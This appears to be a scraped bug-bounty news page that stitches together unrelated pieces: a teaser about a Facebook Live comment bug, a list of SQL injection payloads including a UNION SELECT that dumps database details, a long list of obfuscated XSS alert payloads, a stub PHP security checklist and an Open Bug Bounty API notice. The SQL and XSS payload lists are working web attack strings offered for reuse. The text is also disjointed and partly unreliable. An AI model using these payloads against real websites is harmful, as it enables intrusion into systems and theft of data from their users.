How I was able to create Unauthorized Comments on Facebook Live Stream

Back in October, 2018, I discovered a vulnerability on Facebook that allowed me to create unauthorized comments on live streams of people who aren’t my friends and don’t allow non-friends to comment on their posts.

For this vulnerability, the Facebook Security Team rewarded me a bounty amount of $750, which was the first ever bounty that I ever received.

Some top sql payloads

error_codes&filters[]=I||code||like||ppSD_error_codes'[SQL-INJECTION VULNERABILITY!]–
subscriptions&filters[]=1||status||eq||ppSD_subscriptions%27[SQL-INJECTION VULNERABILITY!]–
widgets&filters[]=code||type||eq||ppSD_widgets%27[SQL-INJECTION VULNERABILITY!]–
logins&filters[]=2017-04-09||date||gt||ppSD_logins%27[SQL-INJECTION VULNERABILITY!]–

-1%27Y[SQL-INJECTION VULNERABILITY!]–
Y-1%27[SQL-INJECTION VULNERABILITY!]**&camp_id=3
unapprove&a='[SQL-INJECTION!]–&start=0&sid=xxx

1%20order%20by%203–
1%20order%20by%203–

[2013%20union%20select%201,2,cOncat(%27%3Cbr%3E%27,version(),%27%3Cbr%3E%27,user(),%27%3Cbr%3E%27,database()),4,5,6,7,8,9,10–]–

XSS alert() variants

<script>prompt(1)</script> 
<script>confirm(1)</script>
<script>var fn=window[490837..toString(1<<5)]; fn(atob('YWxlcnQoMSk='));</script>
<script>var fn=window[String.fromCharCode(101,118,97,108)]; fn(atob('YWxlcnQoMSk='));</script>
<script>var fn=window[atob('ZXZhbA==')];fn(atob('YWxlcnQoMSk=')); </script>
<script>window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script> <script>this[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script> <script>this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](++[[]][+[]])</script> <script>this[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]]((-~[]+[]))</script>
<script>'str1ng'.replace(/1/,alert)</script> <script>'bbbalert(1)cccc'.replace(/a\w{4}\(\d\)/,eval)</script> <script>'a1l2e3r4t6'.replace(/(.).(.).(.).(.).(.)/,function(match,$1,$2,$3,$4,$5) { this[$1+$2+$3+$4+$5](1); })</script>
<script>eval('\\u'+'0061'+'lert(1)')</script> <script>throw~delete~typeof~prompt(1)</script> <script>delete[a=alert]/prompt a(1)</script> <script>delete[a=this[atob('YWxlcnQ=')]]/prompt a(1)</script> <script>(()=>{return this})().alert(1)</script>
<script>new function(){new.target.constructor('alert(1)')();}</script> <script>Reflect.construct(function(){new.target.constructor('alert(1)')()},[])</script>
<link/rel=prefetch import href=data:q;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg>
<link rel="import" href="data:x,<script>alert(1)</script> <script>Array.from`1${alert}3${window}2`</script>
<script>!{x(){alert(1)}}.x()</script> <script>Array.from`${eval}alert\`1\``</script> <script>Array.from([1],alert)</script> <script>Promise.reject("1").then(null,alert)</script>
<svg </onload ="1> (_=alert,_(1)) "">
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
<marquee loop=1 width=0 onfinish=alert(1)>
<p onbeforescriptexecute="alert(1)"><svg><script>\</p>
<img onerror=alert(1) src <u></u> <videogt;<source onerror=javascript:prompt(911)gt;
<base target="<script>alert(1)</script>"><a href="javascript:name">CLICK</a>
<base href="javascript:/"><a href="**/alert(1)"><base href="javascript:/"><a href="**/alert(1)">
<style>@KeyFrames x{</style><div style=animation-name:x onanimationstart=alert(1)> <
<script>```${``[class extends[alert``]{}]}```</script> <script>[class extends[alert````]{}]</script>
<script>throw new class extends Function{}('alert(1)')``</script> <script>x=new class extends Function{}('alert(1)'); x=new x;</script> <script>new class extends alert(1){}</script>
<script>new class extends class extends class extends class extends alert(1){}{}{}{}</script>
<script>new Image()[unescape('%6f%77%6e%65%72%44%6f%63%75%6d%65%6e%74')][atob('ZGVmYXVsdFZpZXc=')][8680439..toString(30)](1)</script> <script src=data:,\u006fnerror=\u0061lert(1)></script>
"><svg><script/xlink:href="data:,alert(1) <svg><script/xlink:href=data:,alert(1)></script> <frameset/onpageshow=alert(1)>
<div onactivate=alert('Xss') id=xss style=overflow:scroll>
<div onfocus=alert('xx') id=xss style=display:table>

PHP Security Check List [ EN ]

PHP: Hypertext Preprocessor is a web-based, server-side, multi-use, general-purpose, scripting and programming language that can be embedded in HTML. The PHP development, which was first created by Rasmus Lerdorf in 1995, is now being run by the PHP community.

The PHP programming language is still used by a large developer. It
is the most known backend programming language. In PHP web applications,
I prepared a list called “php security check list” which security
researchers should know.

API for bug bounty owners

Open Bug Bounty released a free API available for all bug bounty owners. You can access the API in you bug bounty management panel in “Bug Bounty Notifications” section.

The API allows instantly retrieving the data on all new submissions for your website and integrate it internally with your DevSecOps.

Please do not forget to:

(a) timely remediate and request vulnerability patch verification

(b) thank the researcher(s)!

If you want to start a bug bounty at no cost click here: https://www.openbugbounty.org/bugbounty/create/